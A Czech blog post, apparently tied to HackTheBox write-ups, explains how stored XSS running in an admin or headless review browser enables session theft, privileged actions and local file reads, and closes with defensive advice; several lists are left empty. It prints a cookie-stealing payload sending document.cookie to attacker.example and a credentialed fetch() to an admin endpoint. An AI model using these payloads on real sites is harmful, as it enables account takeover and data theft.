tom@home.htb:~$

Blog o HTB

28 November 2019

Stored XSS a admin browser a headless review jako útoková plocha

Úvod a kontext

Stored XSS se často vysvětluje přes krádež cookie v běžném uživatelském prohlížeči. To je užitečný začátek, ale v praxi bývá mnohem zajímavější jiný scénář: škodlivý obsah se nespustí u útočníka ani u náhodného návštěvníka, ale v browseru administrátora, review robota nebo exportním workflow, které má vyšší oprávnění, přístup k interním funkcím nebo jinou síťovou pozici.

Právě tehdy se z “obyčejné XSS” stává pivot do další vrstvy. Jednou vede k admin session a localhost-only nástroji, jindy ke čtení file:// cesty a jindy ke spuštění privilegované backendové akce. Článek proto neřeší XSS jako samostatnou webovou chybu, ale jako vstup do cizího browser kontextu.

Proč je admin browser jiná bezpečnostní hranice

Browser administrátora nebo headless review procesu se od běžného návštěvníka liší ve třech důležitých věcech:

To znamená, že stejný payload může mít úplně jiný dopad podle toho, kde se vykoná. V uživatelském browseru způsobí nepříjemnost. V admin browseru může změnit konfiguraci, spustit interní akci nebo otevřít cestu k server-side kompromitaci.

Kde takový kontext typicky vzniká

Nejčastěji nejde o “administraci” v úzkém slova smyslu. Rizikový kontext se objevuje v celé řadě běžných workflow:

Společný jmenovatel je pořád stejný: nedůvěryhodný obsah se vykoná v prostředí, které má větší pravomoci než jeho autor.

Tři praktické vzory dopadu

Stored XSS v privilegovaném browseru má v praxi několik opakujících se podob.

1. Převzetí privilegované session

Nejjednodušší varianta je, že JavaScript přečte cookies, tokeny nebo jiné identifikátory session a pošle je útočníkovi. Sama o sobě to není nová myšlenka. Rozhodující je ale to, že cílem už není běžný uživatel, nýbrž účet, který:

Typický minimální payload může vypadat takto:

<img src="x" onerror="new Image().src='https://attacker.example/log?c='+encodeURIComponent(document.cookie)">

Takový payload sám o sobě systém nekompromituje. Jen přesune důvěryhodný session kontext do rukou útočníka. V okamžiku, kdy admin session odemyká interní funkce, už vzniká druhý, mnohem silnější problém.

2. Spuštění privilegované akce v cizím browseru

Někdy ani není potřeba session krást. Pokud se kód spustí v již přihlášeném admin kontextu, může rovnou volat interní endpointy nebo formuláře za oběť.

Typický tvar je:

<script>
fetch('/admin/rebuild', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'target=preview'
});
</script>

Smysl takového payloadu není v tom, že by bypassoval autentizaci. Autentizaci už zařídil browser oběti. Útočník jen zneužije toho, že administrativní workflow samo důvěřuje svému session kontextu.

3. Přístup k lokálním souborům nebo interní síti

Třetí varianta bývá nejvíc podceňovaná. Browser nebo renderer, který zpracovává nedůvěryhodný obsah, může mít přístup i k věcem, které veřejný web vůbec nevidí:

V ten moment stored XSS není jen klientská chyba. Stává se z ní most mezi nedůvěryhodným vstupem a prostředím hostu nebo interní sítě.

Jak se tenhle vzorec projevil v konkrétních případech

Na jednom rozboru stroje byl komentář k bankovní transakci zobrazen v headless prohlížeči administrátora. To umožnilo vytáhnout admin cookies a převzít session v rozhraní, které obsahovalo localhost-only nástroj pro spouštění příkazů. XSS tedy nevedla k shellu přímo. Nejdřív otevřela cizí browser kontext a teprve ten odemkl interní funkci.

Jiný případ stál na tom, že uložený JavaScript běžel v kontextu, který dokázal číst file:///home/reader/.ssh/id_rsa. Tam nebyla nejdůležitější session, ale hranice mezi webovým workflow a lokálními soubory hostu. Jakmile se vykonal kód ve správném rendereru, XSS vydala rovnou SSH materiál.

Ve třetím případě se JavaScript spouštěl v interním admin preview a jeho hodnota nebyla v prohlížení DOMu, ale v tom, že mohl poslat autentizovaný požadavek, který backend následně zpracoval server-side. Tady stored XSS fungovala jako ovladač cizí privilegované akce, ne jako finální exploit sama o sobě.

Co je na těchto scénářích jiné než u “běžné XSS”

Je užitečné pojmenovat rozdíl explicitně:

To má dva důsledky.

První: payload se navrhuje podle toho, co umí oběť, ne podle toho, co umí veřejná aplikace.
Druhý: obrana nespočívá jen v ochraně session, ale i v izolaci samotného prostředí, které nedůvěryhodný obsah renderuje.

Na co se při analýze zaměřit

Pokud aplikace pracuje s uživatelským obsahem, vyplatí se při review projít několik velmi konkrétních otázek.

Kdo obsah otevírá

Bez této odpovědi nelze rozumně odhadnout dopad.

Jaká oprávnění má cílový kontext

Co lze z browseru skutečně dělat

Obrana a návrh bezpečnějších workflow

1. U privilegovaného review nespoléhat jen na sanitizaci

Sanitizace HTML je důležitá, ale u admin workflow nestačí chápat ji jako kosmetickou obranu. Jakmile se v privilegovaném kontextu vykoná jediný nechtěný skript, dopad bývá řádově vyšší než u běžného self-XSS.

2. Oddělit browser, který zpracovává nedůvěryhodný obsah

Review robot nebo interní preview by neměly běžet v prostředí, které:

Jinými slovy: nedůvěryhodný obsah se nemá renderovat ve stejném bezpečnostním kontextu, který spravuje systém.

3. Privilegované endpointy mají chtít víc než jen session

Pokud admin browser dokáže jediným fetch() zavolat citlivou akci, obrana stojí na velmi tenké vrstvě. Kritické operace mají mít samostatnou autorizaci, ochranu proti CSRF a pokud možno i potvrzovací krok oddělený od pouhého zobrazení obsahu.

4. Blokovat přístup rendererů k lokálním souborům a interní síti

Tam, kde je to možné, má být browser nebo renderer spuštěný:

5. Auditovat, co admin workflow vlastně dělá

Velká část problémů nevzniká v klasické frontendové vrstvě, ale v interních náhledech, moderaci a exportech. To jsou přesně ty části systému, které se v běžném security review snadno přehlédnou.

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: xss - web - admin - review - browser